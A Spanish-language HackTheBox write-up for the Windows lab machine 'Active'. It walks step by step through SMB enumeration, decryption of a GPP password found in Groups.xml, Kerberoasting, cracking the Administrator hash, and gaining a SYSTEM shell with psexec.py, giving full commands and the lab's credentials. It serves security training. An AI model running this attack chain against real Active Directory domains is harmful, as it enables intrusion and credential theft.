Active
Writeup de la máquina Active de Hackthebox.
Resumen de la resolución
Active es una máquina Windows de dificultad Easy de la plataforma de HackTheBox, en ella veremos como crackear una contraseña del archivo Groups.xml a través de la herramienta gpp-decrypt
, en dicho archivo también podremos ver un usuario del sistema (SVC_TGS). Dicho usuario nos servirá para acontecer un Kerberoasting Attack con el cual podemos conseguir el ticket (TGS) del usuario Administrator para descubrir la contraseña en texto plano y ganar acceso a la máquina víctima usando psexec.py
.
Enumeración
En primer lugar, debemos desplegar la máquina para poder obtener la Dirección IP todo ello desde la web de HackTheBox y luego desde la terminal debemos conectarnos a la VPN usando el fichero correspondiente de la siguiente forma:
1
openvpn lab_trr0r.opvn
Después le lanzaremos un ping para ver si se encuentra activa dicha máquina, además de ver si acepta la traza ICM. Comprobamos que efectivamente nos devuelve el paquete que le enviamos por lo que acepta la traza ICMP, gracias al ttl podremos saber si se trata de una máquina Linux (TTL 64 ) y Windows (TTL 128), y vemos que se trata de una máquina Windows pues cuenta con TTL próximo a 128 (127), además gracias al script **whichSystem.py** podremos conocer dicha información.
El motivo por el cual el TTL es de 127 es porque el paquete pasa por unos intermediarios (routers) antes de llegar a su destino (máquina atacante). Esto podemos comprobarlo con el comando
ping -c 1 -R 10.10.10.100
.Nmap
En segundo lugar, realizaremos un escaneo por TCP usando Nmap para ver que puertos de la máquina víctima se encuentra abiertos.
1
nmap -p- --open --min-rate 5000 -sS -v -Pn -n 10.10.10.100 -oG allPorts
Observamos como nos reporta que se encuentran abiertos un montón de puertos.
Ahora, gracias a la utilidad getPorts definida en nuestra .zshrc podremos copiarnos cómodamente todos los puerto abiertos de la máquina víctima a nuestra clipboard.
A continuación, volveremos a realizar un escaneo con Nmap, pero esta vez se trata de un escaneo más exhaustivo pues lanzaremos unos script básicos de reconocimiento, además de que nos intente reportar la versión y servicio que corre para cada puerto.
1
nmap -p53,88,135,139,389,445,464,593,636,3268,3269,5722,9389,47001,49152,49153,49154,49155,49157,49158,49165,49171,49173 -sCV 10.10.10.100 -oN targeted
En el segundo escaneo de Nmap lo que más nos llamará la atención es que está abierto el puerto del protocolo SMB (139, 443).
Puerto 139,443 - SMB (Samba)
En primer lugar debemos de saber si estamos ante un entorno de Active Directory, para ello ejecutaremos el siguiente comando:
1
netexec smb 10.10.10.100
Veremos que la máquina víctima es un DC (Domain Controller) por lo que estamos en un entorno de Active Directory bajo el nombre active.htb.
Añadiremos dicho dominio al /etc/hosts
gracias a la siguiente línea: 10.10.10.100 active.htb
. Esto nos nos facilitará futuros ataques (Kerberoasting Attack o ASREProast Attack).
Como está habilitado el protocolo de smb comenzaremos a enumerarlo (Enumeración del servicio SMB) gracias al siguiente comando:
1
smbmap -H 10.10.10.100
Veremos que tenemos capacidad de lectura sobre el recurso compartido Replication.
Accederemos a dicho recurso usando una sesión nula de la siguiente forma.
1
smbclient //10.10.10.100/Replication -N
Al ver la estructura de directorios nos recordará al recurso compartido SYSVOL, por lo que es posible que sea una copia de este.
En ciertas versiones en el recurso SYSVOL se puede encontrar un archivo llamado Groups.xml, dicho archivo tiene contraseñas encriptadas pero gracias a que Microsoft filtró la clave AES podemos desencriptarlas.
Tras navegar por los directorios encontraremos el archivo Groups.xml y nos lo descargaremos a nuestra máquina.
Explotación
gpp-decrypt
Veremos que en el Groups.xml podemos ver la contraseña encriptada junto con un nombre de usuario (SVC_TGS).
Una vez comprobado que dentro del Groups.xml se encuentra la contraseña cifrada usaremos la herramienta gpp-decrypt
para desencriptarla.
Para comprobar que el usuario y la contraseña son válidas usaremos el siguiente comando:
1
netexec smb 10.10.10.100 -u 'SVC_TGS' -p GPPstillStandingStrong2k18
Veremos que nos marca que el login ha funcionado satisfactoriamente por lo que tenemos las credenciales correctas.
Una vez que tenemos un nombre de usuario y contraseña correcto veremos si podemos acceder a más recursos compartidos, y tal y como vemos a continuación podemos acceder al recurso Users.
Tras navegar por los diferentes directorios podremos leer la flag user.txt.
rpcclient [EXTRA]
Seguiremos enumerando pero esta vez usando rpcclient
ya que contamos con unas credenciales válidas.
Para listar los usuarios hemos de ejecutar el siguiente comando.
1
rpcclient -U "SVC_TGS%GPPstillStandingStrong2k18" 10.10.10.100 -c 'enumdomusers'
Observamos que además de nuestro usuario existe Administrator.
Como no hemos visto ningún usuario interesante pasaremos a enumerar los grupos del dominio.
1
rpcclient -U "SVC_TGS%GPPstillStandingStrong2k18" 10.10.10.100 -c 'enumdomgroups'
Veremos que existe un grupo Admins.
Para ver los miembros de dicho grupo de dominio hemos de ejecutar la siguiente instrucción.
1
rpcclient -U "SVC_TGS%GPPstillStandingStrong2k18" 10.10.10.100 -c 'querygroupmem 0x200'
Veremos que el tan solo tiene un usuario, el cual tiene el RID 0x1f4.
Gracias a la siguiente instrucción podremos ver más información de dicho usuario.
1
rpcclient -U "SVC_TGS%GPPstillStandingStrong2k18" 10.10.10.100 -c 'queryuser 0x1f4'
Como era de esperar el usuario con RID 0x1f4 es el usuario Administrator.
De forma adicional podemos ver las descripciones de los usuarios con el siguiente comando.
1
rpcclient -U "SVC_TGS%GPPstillStandingStrong2k18" 10.10.10.100 -c 'querydispinfo'
Tal y como vemos a continuación no hay ninguna descripción con información relevante.
Destacar que de forma adicional podemos usar el siguiente Repostitorio S4vitar - rpcenum el cual nos facilitará la tarea de enumerar el servicio RPC.
ASREProast Attack [EXTRA]
Antes de realizar un ASREProast Attack hemos de sincronizar el reloj para evitar cualquier inconveniente, para ello ejecutaremos el siguiente comando.
1
ntpdate 10.10.10.100
Una vez sincronizado el reloj intentaremos obtener un TGT (Ticket Grant Ticket) el cual nos permitirá obtener un hash para crackear la contraseña del usuario del ticket, para ello ejecutaremos el siguiente comando.
1
GetNPUsers.py active.htb/ -no-pass -usersfile users.txt
Veremos como no es posible realizar un ASREProast Attack.
kerbrute [EXTRA]
Otra forma válida de enumerar usuarios es usando kerbrute
de la siguiente forma.
1
kerbrute userenum --dc 10.10.10.100 -d active.htb /usr/share/wordlists/SecLists/Usernames/Names/names.txt
Tal y como vemos a continuación no somos capaces de enumerar ningún usuario adicional.
Escalada de privilegios
Kerberoasting Attack
Al igual que en un ASREProast Attack debemos de sincronizar el reloj (ntpdate 10.10.10.100
). En el caso de que se acontezca un Kerberoasting Attack seremos capaces enviar un TGS (Ticket Granting Service) a partir del cual podemos conseguir el hash del usuario con el que hemos enviado el ticket, en definitiva hemos de ejecutar el siguiente comando.
1
GetUserSPNs.py active.htb/SVC_TGS:GPPstillStandingStrong2k18
Veremos como podemos enviar un TGS como el usuario Administrator.
Enviaremos dicho TGS el cual nos servirá para obtener el hash del usuario Administrator, en definitiva ejecutaremos el siguiente comando.
1
GetUserSPNs.py active.htb/SVC_TGS:GPPstillStandingStrong2k18 -request
Observamos como obtenemos el hash del usuario Administrator.
Una vez que tenemos el hash pasaremos a crackearlo usando johntheripper
de la siguiente forma.
1
john hash --wordlist=/usr/share/wordlists/rockyou.txt
Finalmente, tras crackearlo obtendremos la contraseña Ticketmaster1968 la cual pertenece al usuario Administrator.
Para comprobar que la contraseña es correcta usaremos netexec
de la siguiente forma.
1
netexec smb 10.10.10.100 -u 'Administrator' -p 'Ticketmaster1968'
Tal y como vemos a continuación podremos corroborar que la contraseña para el usuario Administrator es la correcta.
Como el puerto 5985 no está abierto nos conectaremos usando psexec.py
de la siguiente forma.
1
psexec.py active.htb/Administrator:Ticketmaster1968@10.10.10.100 cmd.exe
Observamos como finalmente ganamos acceso a la máquina víctima como el usuario Administrator (nt authority\system).